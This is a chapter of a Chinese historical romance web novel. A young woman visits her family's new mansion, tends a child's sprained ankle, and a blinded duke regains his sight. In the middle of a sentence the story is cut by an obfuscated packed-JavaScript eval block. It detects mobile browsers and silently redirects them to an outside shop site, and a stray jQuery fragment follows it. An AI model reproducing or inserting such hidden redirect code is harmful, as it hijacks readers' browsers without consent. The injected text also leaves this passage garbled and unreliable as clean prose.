昨天夜里北风吹了一宿,雪也下了一宿,到第二天早上,一轮圆圆的暖日从东边升起,浅金色阳光穿过云层,驱散寒意。
今天应该会是晴天。
阮筠离开国公府,低头放好腰牌,走向与剪翠约好的茶坊。
这个时辰茶坊还没开门,她也不是为了喝茶而来。
等了两刻多钟,过了约定的时辰,剪翠还没有来。
阮筠望着街头,心想莫不是剪翠家里出了什么事,正琢磨着要不要去一趟张家食肆时,突然瞧见剪翠急匆匆地跑过来,怀里还抱着一个孩子。
“少、少夫人。”剪翠大口喘气,“对、对不住,我来迟了。”
“不急,先缓缓。”
等到剪翠气息稳定后,阮筠看着她怀里的女孩,四岁多,眼睛红红的,像是刚哭过。
注意到阮筠的视线,剪翠解释:“这孩子昨天夜里就睡得不安稳,今天早上知道我要出门,硬是哭着我要一起跟过来。”
“无妨。”见女孩一双圆溜溜的大眼睛盯着她,稚气的小脸满是好奇,阮筠不由伸手摸摸女孩的脸颊,“起名字了吗?”
“大名叫张婉,平常叫她婉姐儿。
阮筠顺口唤了两声,婉姐儿倒是一点不怕她,脆声叫道:“漂亮姐姐。”
“你这孩子瞎叫什么,要叫少……”剪翠蓦地顿住。
“随孩子爱叫什么就叫什么。”剪翠如今不是定国公府的人,阮筠不在意这件事,“你要带着她一起去?”
“可以吗?”
女孩听懂两人的对话,紧紧抱住剪翠不松手,小嘴一瘪,泪眼婆娑,就差直接哭出来喊娘了。
阮筠想了想,只是去看看阮家的新府邸,家人又不在,带个孩子应该不影响。
她点点头:“走吧。”
按照剪翠的说法,在她出事的当天,自家父亲和弟弟便去找过剪翠,后来离开京城前又去找了她一趟,故而剪翠知晓阮家在哪。
“父亲他们为什么要离开京城?”阮筠问,“是不是遇到了什么难事?”
“应该不是,我听阮大人说是他要调任彭城当县令了,所以才举家离开。”
自家弟弟居然已经当上县令了?
阮筠一时不由感到不真实,总觉得讲的是别人,而不是她熟悉那个还在念书的少年。
今天有剪翠带路,三人顺利地找到地方。
只是……阮筠盯着前面的宅子,盯了足足一刻钟:“你是说……父亲他们搬到了这里?”
剪翠回以万分肯定的答案:“没错,搬过来的第二年我还给阮公子和阮姑娘送过东西。”
阮筠再次陷入沉默。
眼前的宅子低调不显眼,乍一看不算富丽堂皇,可是足足比阮家以前的院宅大了两倍,差不多四进,更别说位置靠近皇宫,上朝、去各部衙门都很近。
看不到里面的具体布置,但不妨碍阮筠在心里默默估算阮父需要花多少年的俸禄才能买得起这样的宅子。
“是不是阿戎帮忙了。”说的是问句,语气却很肯定,她琢磨了一下方位图,“从这里去定国公府,只需要绕两条街。”
“我不知道。”剪翠老实摇头,“不过我听说阮公子和阮姑娘试着做过生意,似乎赚了不少钱。”
可是在宗亲勋贵遍地的京城,有时候有钱不一定能买到好位置的宅邸。
“娘,我要吃糖葫芦!”
“等会儿再给你买。”剪翠拍拍女儿的肩膀,“乖,不准闹,阿娘有正事要忙。”
“不嘛不嘛,我现在就想吃。”
“带她去吧。”阮筠摸出一把铜钱,“小孩子不经饿,免得饿坏了。”
目送剪翠带着女孩走远,阮筠停在远处看了一会儿宅子,走上前敲门。
“吱呀”一声,门开了,一位约莫四十岁管事模样打扮的人走出来,熟练道:“我家老爷、夫人、公子都不在家,阁下请回吧。”
说完,管事打量面前的年轻女子人,问:“你来找谁?”
阮筠不认得他,谨慎问:“国子监的阮博士,不知道他老人家几时回京?”
“这可说不准,我就是个管事的,哪里知道主家什么时候回来。”许是见她脸上表情太过失落,管事不由问,“姑娘与我家大人是什么关系?若是有急事,不如写一封信去彭城?”
管事能留下来照看宅子,想必对阮家的情况有所了解,阮筠不确定对方会不会识破阮家的远房亲戚这一谎言。
“我与阮博士有些亲戚关系。”她半真半假道。
管事“哦”了一声,倒是没追问,“姑娘还有别的事吗?”
“确实有一事相托,如果阮博士回京了,可否麻烦送一封信到定国公府?”
听见后面几个字,管事神情变得严肃:“你是定国公府的人?”
“是。”阮筠如实说,“我姓阮,送到国公府就好。”
根据她过去两个月的观察,现在定国公府就她一个人姓阮。
管事满腹狐疑,打量半晌,才回了声好。
还算顺利,阮筠暗中扫了一眼大门的布置,尝试问:“我可以进去看看吗?”
“不行。”管事断然拒绝,“这位姑娘,如果无事,我该回去了。”
今天出来的主要目的就是找到这里,现在目的达成,她也不强求。
大门重新关紧。
阮筠往回走,打算去找剪翠。
拐过转角,她听见女孩撕心裂肺的哭声,还有剪翠担忧的询问,夹杂一两句责骂。
她连忙跑过去。
婉姐儿坐在地上,手里攥住一只糖葫芦,沾了不少灰尘,仰头哭得满脸都是泪。
剪翠站在旁边,正试图拉女儿站起来,“谁叫你到处乱跑,现在摔一跤知道痛了吗?”
“娘!疼!”
婉姐儿呜哇哇地哭个不停,剪翠烦得脾气上来,一把拉起女儿,婉姐儿顿时哭嚎得更大声。
“别哭了!”
“是不是扭到脚了?”阮筠停下脚步,往四周看看,指向不远处的巷口,“剪翠,抱婉姐儿去那里,我给她看看脚。”
剪翠的表情一下子变得紧张担心,在她的指点下直挺挺抱起女儿,拐进一处小巷子。
光线不错,但是经过的人少。
阮筠一边回忆孙医师教的内容,一边哄着女孩,问:“是这只脚痛吗?”
婉姐儿憋着泪点头。
她撩起女孩的衣摆,脱掉鞋袜,婉姐儿右脚踝果然有些红肿。
稳妥起见,她又看了左脚,没有扭伤。
“少夫人,这要怎么办?是不是现在去看大夫?”
“暂时不要乱动。”阮筠轻轻碰了一下,柔声问,“会不会很疼?”
“疼!”
“有没有感觉这里胀胀的?”
婉姐儿年纪虽小,幸好能流利表达出自己的感受。
“需要先冷敷。”阮筠环顾四周,取了一些干净的雪,用帕子裹成雪球,“剪翠,你抱住婉姐儿,蒙住她的眼睛,不要让她乱动。”
剪翠连忙照做。
她托住女孩的小腿,把雪球贴上脚踝。
正值冬日,雪球冰冷,婉姐儿哭声更重,不停尝试缩回脚。
阮筠加了几分力气,以免被她挣脱。
换了几次帕子里的雪,敷够三刻钟,女孩娇嫩的肌肤被冻得泛红,脸上全是哭出来的泪水。
“还疼吗?”
“嗯!”
“现在去医馆看看。”半路出家跟孙医师学了一个多月,阮筠对自己的医术没有太多信心,“剪翠,你抱着她,尽量不要碰到右脚。”
找
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17651009|205803||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
了两条街,总算找到一间医馆。
这个年龄的孩子上蹿下跳,时常有扭伤,一听来意,坐诊的大夫熟练地检查。
“轻微扭伤,没伤到骨头,还好冷敷及时,不算严重,一个时辰后再用冰块冷敷,七八天内应该能好。”
剪翠如释重负:“多谢大夫。”
那大夫叮嘱一番,猜测道:“你给这个孩子冷敷的?”
“嗯。”阮筠还是不大放心,“大夫,我先前那样做没错吧?”
“没错,挺好的。”
阮筠总算安心,付了诊钱,到外面雇了一顶轿子,担心剪翠一个人照顾不来,又雇了一顶轿子,送剪翠母女回去。
她掀开轿帘往外看,阳光比早晨时分灿烂,太阳缓缓朝半空正中移动。
但愿能在午时前赶回国公府。
*
定国公府。
孙医师动作轻缓,为傅戎解下绑在眼睛的纱布。
叶绍远特意赶到国公府,站在旁边不敢出声打扰。
“慢慢睁开眼睛,不要一下子去看光线强烈的地方。”
傅戎眼睫轻颤,缓慢掀开眼帘。
过去四个多月视野一直遍布黑暗,如今出现一点亮光,逐渐变大,直至黑暗尽数褪去。
他缓缓眨了眨眼睛。
孙医师与叶绍远担忧紧张的脸出现在视野里。
“可以看到了。”
叶绍远浑身一松,不停念叨:“太好了。”
孙医师同样开心,但没有完全放松,谨慎诊脉,扎针查验血珠颜色,确保毒素彻底清除,严肃紧绷的脸上终于浮现一点轻松笑意。
“毒素已经拔除,接下来以调养为主,按时喝药,细心养上一两个月,不会留下什么病根,还有,刚复明不久,最近要少用眼,不宜操劳。”
傅戎道了声谢,然后他说:“那人抄写的医书在哪?给我。”
孙医师双眼一瞪:“你……”
“孙医师别生气别生气。”叶绍远连忙劝道,“大哥这是着急,就只看一眼,不会很久。”
叶绍远一边劝,一边将今天早上按照傅戎吩咐去药庐拿的医书递给他。
傅戎翻开第一页。
端正小楷,字迹明晰,秀气笔锋,不失清雅。
他按住第一个字,指腹拂过上面的一笔一划。
从第一页开始,每一页每一个字全都细细查看。
一连看了两卷抄好的医书,傅戎指着上面一段药方,“这里她是不是用的左手抄写?”
孙医师凑上前看了一阵,没好气道:“我怎么知道?我又不是时时刻刻盯着阮姑娘抄书。”
“大哥,你都看了这么久,是不是该休息了?”
傅戎放下医书,拢在手边,没有还给孙医师的打算,望向屋里的刻漏。
“午时正了。”
叶绍远从李管事那里知道傅戎要求阮筠午时来东院的事情,眼下李管事正忙着到处找人,忙说:“大哥,你别着急,我马上派人去找。”
不等叶绍远出去,李管事匆忙走进来,禀道:“国公爷,阮姑娘刚从外面回来,现在正在角院外面等候。”
“你们先出去。”傅戎拿起原先一直遮眼睛的白绫,握在手里,语气一如既往的冷,“叫她进来。”
叶绍远不敢违背,连忙拉住孙医师等人一起离开,体贴地关上书房的门。
傅戎静静坐在正上首,注视紧闭的屋门。
似乎过了很久又仿佛只是短短一刹那,门被推开,有人进来了。
来的是位年轻姑娘,正如她自己所说,瞧着才十八岁,穿了一身竹青色长袄,搭着霜白色百褶裙,身形纤细笔直,犹如不为风雪侵扰的青竹。
她一步步走向他。
一如他曾经做过无数次的美妙而虚幻的梦。